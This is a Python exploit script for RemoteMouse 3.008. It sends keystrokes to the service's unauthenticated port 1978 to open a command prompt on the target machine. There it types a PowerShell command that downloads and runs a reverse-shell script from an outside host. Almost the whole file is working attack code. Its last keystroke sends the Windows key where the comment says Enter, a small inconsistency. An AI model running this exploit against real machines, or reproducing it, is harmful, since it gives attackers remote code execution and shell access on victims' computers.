RemoteMouse-3.008-Exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : remote.py
# Author             : Podalirius (@podalirius_)
# Date created       : 17 Dec 2021

import argparse
import time
from enum import Enum
from socket import socket, AF_INET, SOCK_STREAM, SOCK_DGRAM
import io


class Mouse(object):
    cmd = "mos"
    leftClick = "%s  %s %s" % (cmd, "5R", "l")
    rightClick = "%s  %s %s" % (cmd, "5R", "r")
    middleClick = "%s  %s %s" % (cmd, "5R", "m")

    def __init__(self, parent_remotemouse):
        super(Mouse, self).__init__()
        self.parent_remotemouse = parent_remotemouse


class Keymap(Enum):
    """
    Documentation for class Keymap
    """
    # Uppercase alphabet
    KEY_A = "8[ras]116"
    KEY_B = "8[ras]119"
    KEY_C = "8[ras]118"
    KEY_D = "8[ras]113"
    KEY_E = "8[ras]112"
    KEY_F = "8[ras]115"
    KEY_G = "8[ras]114"
    KEY_H = "8[ras]125"
    KEY_I = "8[ras]124"
    KEY_J = "8[ras]127"
    KEY_K = "8[ras]126"
    KEY_L = "8[ras]121"
    KEY_M = "8[ras]120"
    KEY_N = "8[ras]123"
    KEY_O = "8[ras]122"
    KEY_P = "8[ras]101"
    KEY_Q = "8[ras]100"
    KEY_R = "8[ras]103"
    KEY_S = "8[ras]102"
    KEY_T = "7[ras]97"
    KEY_U = "7[ras]96"
    KEY_V = "7[ras]99"
    KEY_W = "7[ras]98"
    KEY_X = "8[ras]109"
    KEY_Y = "8[ras]108"
    KEY_Z = "8[ras]111"
    # Lowercase alphabet
    KEY_a = "7[ras]84"
    KEY_b = "7[ras]87"
    KEY_c = "7[ras]86"
    KEY_d = "7[ras]81"
    KEY_e = "7[ras]80"
    KEY_f = "7[ras]83"
    KEY_g = "7[ras]82"
    KEY_h = "7[ras]93"
    KEY_i = "7[ras]92"
    KEY_j = "7[ras]95"
    KEY_k = "7[ras]94"
    KEY_l = "7[ras]89"
    KEY_m = "7[ras]88"
    KEY_n = "7[ras]91"
    KEY_o = "7[ras]90"
    KEY_p = "7[ras]69"
    KEY_q = "7[ras]68"
    KEY_r = "7[ras]71"
    KEY_s = "7[ras]70"
    KEY_t = "7[ras]65"
    KEY_u = "7[ras]64"
    KEY_v = "7[ras]67"
    KEY_w = "7[ras]66"
    KEY_x = "7[ras]77"
    KEY_y = "7[ras]76"
    KEY_z = "7[ras]79"
    # Digits
    KEY_1 = "6[ras]4"
    KEY_2 = "6[ras]7"
    KEY_3 = "6[ras]6"
    KEY_4 = "6[ras]1"
    KEY_5 = "6[ras]0"
    KEY_6 = "6[ras]3"
    KEY_7 = "6[ras]2"
    KEY_8 = "7[ras]13"
    KEY_9 = "7[ras]12"
    KEY_0 = "6[ras]5"
    # Control keys
    KEY_RETURN = "3RTN"
    KEY_BACKSPACE = "3BAS"
    KEY_WIN = "3win"
    # Symbols
    KEY_SPACE = "7[ras]21"
    KEY_PLUS = "7[ras]30"
    KEY_EQUAL = "6[ras]8"
    #KEY_MINUS = "7[ras]26"
    KEY_UNDERSCORE = "8[ras]106"
    KEY_LOWERTHAN = "6[ras]9"
    KEY_GREATERTHAN = "7[ras]11"
    KEY_LEFTSQUAREDBRACKET = "8[ras]110"
    KEY_RIGHTSQUAREDBRACKET = "8[ras]104"
    KEY_EXCLAMATIONMARK = "7[ras]20"
    KEY_ATSIGN = "8[ras]117"
    KEY_HASH = "7[ras]22"
    KEY_DOLLARS = "7[ras]17"
    KEY_PERCENT = "7[ras]16"
    KEY_CARET = "8[ras]107"
    KEY_AMPERSAND = "7[ras]19"
    KEY_STAR = "7[ras]31"
    KEY_LEFTPARENTHESIS = "7[ras]29"
    KEY_RIGHTPARENTHESIS = "7[ras]28"
    KEY_MINUS = "7[ras]24"
    KEY_SINGLEQUOTE = "7[ras]18"
    KEY_DOUBLEQUOTE = "7[ras]23"
    KEY_COLON = "7[ras]15"
    KEY_SEMICOLON = "7[ras]14"
    KEY_QUESTIONMARK = "7[ras]10"
    KEY_BACKTICK = "7[ras]85"
    KEY_TILDE = "7[ras]75"
    KEY_BACKSLASH = "8[ras]105"
    KEY_PIPE = "7[ras]73"
    KEY_LEFTBRACKET = "7[ras]78"
    KEY_RIGHTBRACKET = "7[ras]72"
    KEY_COMMA = "key  7[ras]25"
    KEY_DOT = "7[ras]27"
    KEY_SLASH ="7[ras]26"


class Keyboard(object):
    charset = {
        "A": Keymap.KEY_A, "B": Keymap.KEY_B, "C": Keymap.KEY_C, "D": Keymap.KEY_D, "E": Keymap.KEY_E,
        "F": Keymap.KEY_F, "G": Keymap.KEY_G, "H": Keymap.KEY_H, "I": Keymap.KEY_I, "J": Keymap.KEY_J,
        "K": Keymap.KEY_K, "L": Keymap.KEY_L, "M": Keymap.KEY_M, "N": Keymap.KEY_N, "O": Keymap.KEY_O,
        "P": Keymap.KEY_P, "Q": Keymap.KEY_Q, "R": Keymap.KEY_R, "S": Keymap.KEY_S, "T": Keymap.KEY_T,
        "U": Keymap.KEY_U, "V": Keymap.KEY_V, "W": Keymap.KEY_W, "X": Keymap.KEY_X, "Y": Keymap.KEY_Y,
        "Z": Keymap.KEY_Z,

        "a": Keymap.KEY_a, "b": Keymap.KEY_b, "c": Keymap.KEY_c, "d": Keymap.KEY_d, "e": Keymap.KEY_e,
        "f": Keymap.KEY_f, "g": Keymap.KEY_g, "h": Keymap.KEY_h, "i": Keymap.KEY_i, "j": Keymap.KEY_j,
        "k": Keymap.KEY_k, "l": Keymap.KEY_l, "m": Keymap.KEY_m, "n": Keymap.KEY_n, "o": Keymap.KEY_o,
        "p": Keymap.KEY_p, "q": Keymap.KEY_q, "r": Keymap.KEY_r, "s": Keymap.KEY_s, "t": Keymap.KEY_t,
        "u": Keymap.KEY_u, "v": Keymap.KEY_v, "w": Keymap.KEY_w, "x": Keymap.KEY_x, "y": Keymap.KEY_y,
        "z": Keymap.KEY_z,

        "1": Keymap.KEY_1, "2": Keymap.KEY_2, "3": Keymap.KEY_3, "4": Keymap.KEY_4, "5": Keymap.KEY_5,
        "6": Keymap.KEY_6, "7": Keymap.KEY_7, "8": Keymap.KEY_8, "9": Keymap.KEY_9, "0": Keymap.KEY_0,
        "\n": Keymap.KEY_RETURN,              "\b": Keymap.KEY_BACKSPACE,           " ": Keymap.KEY_SPACE,

        "+": Keymap.KEY_PLUS,        "=": Keymap.KEY_EQUAL,        "/": Keymap.KEY_SLASH,       "_": Keymap.KEY_UNDERSCORE,
        "<": Keymap.KEY_LOWERTHAN,   ">": Keymap.KEY_GREATERTHAN,  "[": Keymap.KEY_LEFTSQUAREDBRACKET,            "]": Keymap.KEY_RIGHTSQUAREDBRACKET,
        "!": Keymap.KEY_EXCLAMATIONMARK,    "@": Keymap.KEY_ATSIGN,       "#": Keymap.KEY_HASH,"$": Keymap.KEY_DOLLARS,
        "%": Keymap.KEY_PERCENT,    "^": Keymap.KEY_CARET,     "&": Keymap.KEY_AMPERSAND,   "*": Keymap.KEY_STAR,
        "(": Keymap.KEY_LEFTPARENTHESIS,    ")": Keymap.KEY_RIGHTPARENTHESIS,     "-": Keymap.KEY_MINUS,       "'": Keymap.KEY_SINGLEQUOTE,
        '"': Keymap.KEY_DOUBLEQUOTE, ":": Keymap.KEY_COLON,     ";": Keymap.KEY_SEMICOLON,    "?": Keymap.KEY_QUESTIONMARK,
        "`": Keymap.KEY_BACKTICK,    "~": Keymap.KEY_TILDE,"\\": Keymap.KEY_BACKSLASH,  "|": Keymap.KEY_PIPE,
        "{": Keymap.KEY_LEFTBRACKET, "}": Keymap.KEY_RIGHTBRACKET, ",": Keymap.KEY_COMMA,       ".": Keymap.KEY_DOT
    }

    def __init__(self, parent_remotemouse):
        super(Keyboard, self).__init__()
        self.parent_remotemouse = parent_remotemouse

    def type(self, message: str):
        for character in message:
            self.press(character)

    def press(self, key:Keymap):
        if type(key) == Keymap:
            self.parent_remotemouse._send_command("key  %sd" % key.value)
        elif type(key) == str:
            if key in self.charset.keys():
                self.parent_remotemouse._send_command("key  " + self.charset[key].value + "d")
            else:
                print("Unknown key %s" % bytes(key, 'utf-8'))

    def keyDown(self, key):
        if key in self.charset.keys():
            self.parent_remotemouse._send_command("key  " + self.charset[key] + "d")
        else:
            print("Unknown key %s" % bytes(key, 'utf-8'))

    def keyUp(self, key):
        if key in self.charset.keys():
            self.parent_remotemouse._send_command("key  " + self.charset[key] + "u")
        else:
            print("Unknown key %s" % bytes(key, 'utf-8'))


class RemoteMouse(object):
    """docstring for RemoteMouse."""

    def __init__(self, host, port=1978, verbose=False):
        super(RemoteMouse, self).__init__()
        self.host = host
        self.port = port
        self.__socket = None
        self.verbose = verbose
        self.keyboard = Keyboard(self)
        self.mouse = Mouse(self)
        if not self.ping():
            return None

    def ping(self):
        try:
            self.__socket = socket(AF_INET, SOCK_STREAM)
            self.__socket.settimeout(5)
            self.__socket.connect((self.host, self.port))
            response = self.__socket.recv(1048)
            f = io.BytesIO(response.strip())

            if response.strip() == b"SIN 15win nop nop 300":
                return True
            elif response.strip() == b"SIN 15win pwd pwd 300":
                # Todo: implement auth
                return True
            else:
                return False
        except Exception as e:
            return False

    def _send_command(self, cmd):
        if self.verbose == True:
            print("[cmd] %s" % cmd)
        if type(cmd) == str:
            cmd = bytes(cmd, 'utf-8')

        try:
            self.__socket = socket(AF_INET, SOCK_STREAM)
            self.__socket.settimeout(5)
            self.__socket.connect((self.host, self.port))
            response = self.__socket.recv(1048)
            if response == b"SIN 15win nop nop 300":
                self.__socket.send(cmd)
                time.sleep(0.05)
                return True
            else:
                return False
        except Exception as e:
            print("ERROR: %s" % str(e))

    def click(self, button):
        pass

    def press(self, key):
        pass

    def type(self, message):
        pass

    def close(self):
        self.__socket.close()


def parseArgs():
    parser = argparse.ArgumentParser(description="Description message")
    parser.add_argument("-t", "--target-ip", default=None, required=True, help='arg1 help message')
    parser.add_argument("-v", "--verbose", default=False, action='store_true', help='Verbose mode.')
    return parser.parse_args()


if __name__ == '__main__':
    options = parseArgs()
    remotemouse = RemoteMouse(host=options.target_ip, verbose=options.verbose)

    # Press Win + R
    remotemouse._send_command(Keymap.KEY_WIN.value)
    # Type cmd.exe
    remotemouse.keyboard.press(Keymap.KEY_BACKSPACE)
    remotemouse.keyboard.type("cmd.exe")
    remotemouse.keyboard.press(Keymap.KEY_RETURN)
    # Wait for cmd.exe to start
    time.sleep(0.5)
    # Payload
    cmd = "powershell -c \"iex (New-Object Net.WebClient).DownloadString('http://192.168.2.51:8000/revshell.ps1')\""
    # Send payload char by char
    remotemouse.keyboard.type(cmd)
    # Press enter to execute payload
    remotemouse.keyboard.press(Keymap.KEY_WIN)